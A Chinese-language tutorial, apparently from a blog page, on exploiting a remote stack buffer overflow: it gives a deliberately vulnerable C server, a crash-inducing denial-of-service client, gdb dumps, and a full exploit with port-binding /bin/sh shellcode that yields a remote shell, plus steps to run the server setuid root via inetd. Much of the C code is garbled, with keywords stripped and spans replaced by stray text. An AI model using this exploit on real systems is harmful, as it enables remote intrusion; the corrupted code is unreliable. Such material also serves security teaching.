缓冲区溢出漏洞:远程缓冲区溢出漏洞利用程序



怎样写远程缓冲区溢出漏洞利用
在此我们假设有个有漏洞服务器(vulnerable.c). 然后写个 exploit 来利用该漏洞这样将能得到个远程 shell
、理解有漏洞:
--------------------------------------- vulnerable.c ---------------------------------
# <stdio.h>
# <netdb.h>
# <netinet/in.h>

# BUFFER_SIZE 1024
# NAME_SIZE 2048

handling( c)
{
char buffer[BUFFER_SIZE], name[NAME_SIZE];
s;
strcpy(buffer, \"My name is: \");
s = send(c, buffer, strlen(buffer), 0);
(s -1)
-1;
s = recv(c, name, (name), 0);
(s -1)
-1;
name[s - 1] = ’\\0’;
sprf(buffer, \"Hello %s, nice to meet you!\\r\\n\", name);
s = send(c, buffer, strlen(buffer), 0);
(s -1)
-1;
0;

}


( argc, char *argv)

{
s, c, cli_size;
struct sockaddr_in srv, cli;
(argc != 2)
{
fprf(stderr, \"usage: %s port\\n\", argv[0]);
1;
}
s = (AF_INET, SOCK_STREAM, 0);
(s -1)
{
perror(\" failed\");
2;
}
srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons( (unsigned ) atol(argv[1]));
srv.sin_family = AF_INET;
(bind(s, &srv, (srv)) -1)
{
perror(\"bind failed\");
3;
}
(listen(s, 3) -1)
{
perror(\"listen failed\");
4;
}
for(;;)
{
c = accept(s, &cli, &cli_size);
(c -1)
{
perror(\"accept failed\");
5;
}
prf(\"client from %s\", inet_ntoa(cli.sin_addr));
(handling(c) -1)
fprf(stderr, \"%s: handling failed\", argv[0]);
close(c);
}
0;
}

---------------------------------------------- EOF------------------------------------------------------

下面将编译并运行该:
user@linux:~/ > gcc vulnerable.c -o vulnerable
user@linux:~/ > ./vulnerable 8080
../vulnerable 8080 介绍说明你能在8080端口运行该项服务
user@linux~/ > gdb vulnerable
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type \"show copying\" to see the conditions.
There is absolutely no warranty for GDB. Type \"show warranty\" for details.
This GDB was configured as \"i386-suse-linux\"...
(gdb) run 8080
Starting program: /home/user/directory/vulnerable 8080
现在该监听8080端口并等待连接
user@linux:~/ > telnet localhost 8080
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is \'^]\'.
My name is: Robin
, nice to meet you!
Connection closed by foreign host.
user@linux:~/ >
看来没有什么破绽但是这时gdb会在屏幕上显示:
client from 127.0.0.1 0xbffff28c (访地址因区别机器类型而异)

2、令有漏洞发生缓冲区溢出

重新连上该服务为 \"My name is:...\" 命令行提供超过1024个字节长输入:
user@linux:~/ > telnet localhost 8080
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is \'^]\'.
My name is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAA

连接将中断让我们看看gdb输出:
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ??
(gdb)
// Don’t close gdb !!
能够看出 eip 被设到了 0x414141410x41 代表个\"A\",当我们输入1024个字节时会试图将串name[2048]拷入缓冲[1024]因此由于 name[2048] 大于1024字节name 将会重写缓冲并重写已被存储 eip我们缓冲将会是下列形式:
[xxxxxxxx-name-2048-s-xxxxxxxxxx]
[xxxxx buffer-only-1024-s xxx] [EIP]


在你重写了整个返回地址后将会跳转到地址 0x41414141从而产生片断
现在为此个拒绝服务攻击工具:
--------------------------------- dos.c ---------------------------------------------
# <stdio.h>
# <netinet/in.h>
# <sys/.h>
# <sys/types.h>
# <netdb.h>
( argc, char **argv)
{
struct sockaddr_in addr;
struct hostent *host;
char buffer[2048];
s, i;
(argc != 3)
{
fprf(stderr, \"usage: %s <host> <port>\\n\", argv[0]);
exit(0);
}
s = (AF_INET, SOCK_STREAM, 0);
(s -1)
{
perror(\" failed\\n\");
exit(0);
}
host = gethostbyname(argv[1]);
( host NULL)
{
herror(\"gethostbyname failed\");
exit(0);
}
addr.sin_addr = *(struct in_addr*)host->h_addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(atol(argv[2]));
(connect(s, &addr, (addr)) -1)
{
perror(\"couldn\'t connect so server\\n\");
exit(0);
}

/* Not dficult _disibledevent=>buffer[i] = \'A\';
prf(\"buffer is: %s\\n\", buffer);
prf(\"buffer filled... now sending buffer\\n\");
send(s, buffer, strlen(buffer), 0);
prf(\"buffer sent.\\n\");
close(s);
0;
}
--------------------------------------------- EOF ------------------------------------------------------

3、找到返回地址:

打开gdb寻找 esp:
(gdb) x/200bx $esp-200
0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
---Type <> to continue, or q <> to quit---

现在我们已经知道重写了整个缓冲让我们试试几个地址

4、exploit代码结构

1、 找到 esp然后找个能绑定 shell 到端口 sehllcode.
2、创建个大于1024字节缓冲
2、 用 NOP 填滿整个缓冲:
mem(buffer, 0x90, 1064);
3、将 shellcode 拷入缓冲
memcpy(buffer+1001-(shellcode), shellcode, (shellcode));
4、在缓冲中消除零字节:
buffer[1000] = 0x90; // 0x90 is the NOP in hexadecimal
5、在缓冲未端拷贝返回地址:
for(i = 1022; i < 1059; i4)
{
(( *) &buffer[i]) = RET;
// RET is the address we want to use... # in the header
}
6、在准备好缓冲未端加入个 \\0 零字节:
buffer[1063] = 0x0;
现在可以把它发送给有漏洞机器了
----------------------------------------- exploit.c ----------------------------------
/* Simple remote exploit, which binds a shell _disibledevent=>\"\\x89\\xe5\\x31\\xd2\\xb2\\x66\\x89\\xd0\\x31\\xc9\\x89\\xcb\\x43\\x89\\x5d\\xf8\"
\"\\x43\\x89\\x5d\\xf4\\x4b\\x89\\x4d\\xfc\\x8d\\x4d\\xf4\\xcd\\x80\\x31\\xc9\\x89\"
\"\\x45\\xf4\\x43\\x66\\x89\\x5d\\xec\\x66\\xc7\\x45\\xee\\x0f\\x27\\x89\\x4d\\xf0\"
\"\\x8d\\x45\\xec\\x89\\x45\\xf8\\xc6\\x45\\xfc\\x10\\x89\\xd0\\x8d\\x4d\\xf4\\xcd\"
\"\\x80\\x89\\xd0\\x43\\x43\\xcd\\x80\\x89\\xd0\\x43\\xcd\\x80\\x89\\xc3\\x31\\xc9\"
\"\\xb2\\x3f\\x89\\xd0\\xcd\\x80\\x89\\xd0\\x41\\xcd\\x80\\xeb\\x18\\x5e\\x89\\x75\"
\"\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x45\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\\x4d\\x08\"
\"\\x8d\\x55\\x0c\\xcd\\x80\\xe8\\xe3\\xff\\xff\\xff/bin/sh\";
//standard off (probably must be modied)


# RET 0xbffff5ec
( argc, char *argv) {
char buffer[1064];
s, i, size;
struct sockaddr_in remote;
struct hostent *host;
(argc != 3) {
prf(\"Usage: %s target-ip port\\n\", argv[0]);
-1;
}
// filling buffer with NOPs
mem(buffer, 0x90, 1064);
//copying shellcode o buffer
memcpy(buffer+1001-(shellcode) , shellcode, (shellcode));
// the previous statement causes a unential Null at buffer[1000]
buffer[1000] = 0x90;
// Copying the address multiple times at the end of the buffer...
for(i=1022; i < 1059; i4) {
* (( *) &buffer[i]) = RET;
}
buffer[1063] = 0x0;
//getting hostname
host=gethostbyname(argv[1]);
(hostNULL)
{
fprf(stderr, \"Unknown Host %s\\n\",argv[1]);
-1;
}
// creating ...
s = (AF_INET, SOCK_STREAM, 0);
(s < 0)
{
fprf(stderr, \"Error: Socket\\n\");
-1;
}
//state Protocolfamily , then converting the hostname or IP address, and getting port number
remote.sin_family = AF_INET;
remote.sin_addr = *((struct in_addr *)host->h_addr);
remote.sin_port = htons(atoi(argv[2]));
// connecting with destination host
(connect(s, (struct sockaddr *)&remote, (remote))-1)
{
close(s);
fprf(stderr, \"Error: connect\\n\");
-1;
}
//sending exploit
size = send(s, buffer, (buffer), 0);
(size-1)
{
close(s);
fprf(stderr, \"sending data failed\\n\");
-1;
}
// closing
close(s);
}
----------------------------------------- EOF-------------------------------------
5、使用 exploit:
user@linux~/ > gcc exploit.c -o exploit
user@linux~/ > ./exploit <host> <port>
如果你得到了正确返回地址它将管用
user@linux~/ > telnet <host> 3879
id;
uid=500(user) gid=500(user) groups=500(user)
可以看出我们成功了

6、取得 root 权限:

user@linux~/ > su
password: ******
root@linux~/ > ls -ln vulnerable
-rwxrwxr-x 1 500 500 14106 Jun 18 14:12 vulnerable
root@linux~/ > chown root vulnerable
root@linux~/ > chmod 6755 vulnerable
root@linux~/ > ./vulnerable <port>

7、进入 inetd.conf 中定义服务

将有漏洞拷入 /usr/bin/
root@linux~/ > cp vulnerable /usr/bin/vulnerable
root@linux~/ > vi /etc/services
加入下面信息:
vulnerable 1526/tcp # defining port for our server program
root@linux~/ > vi /etc/inetd.conf
加入下面信息:
vulnerable stream tcp nowait root /usr/bin/vulnerable vulnerable 1526
重启 inetd:
root@linux~/ > killall -HUP inetd

8、可能出现问题:

如果 exploit 无法使用请考虑返回地址用gdb进行测试:
user@linux~/ > gdb vulnerable
......
Tags:  缓冲区溢出攻击 缓冲区溢出 缓冲区溢出漏洞描述 缓冲区溢出漏洞

延伸阅读

最新评论

发表评论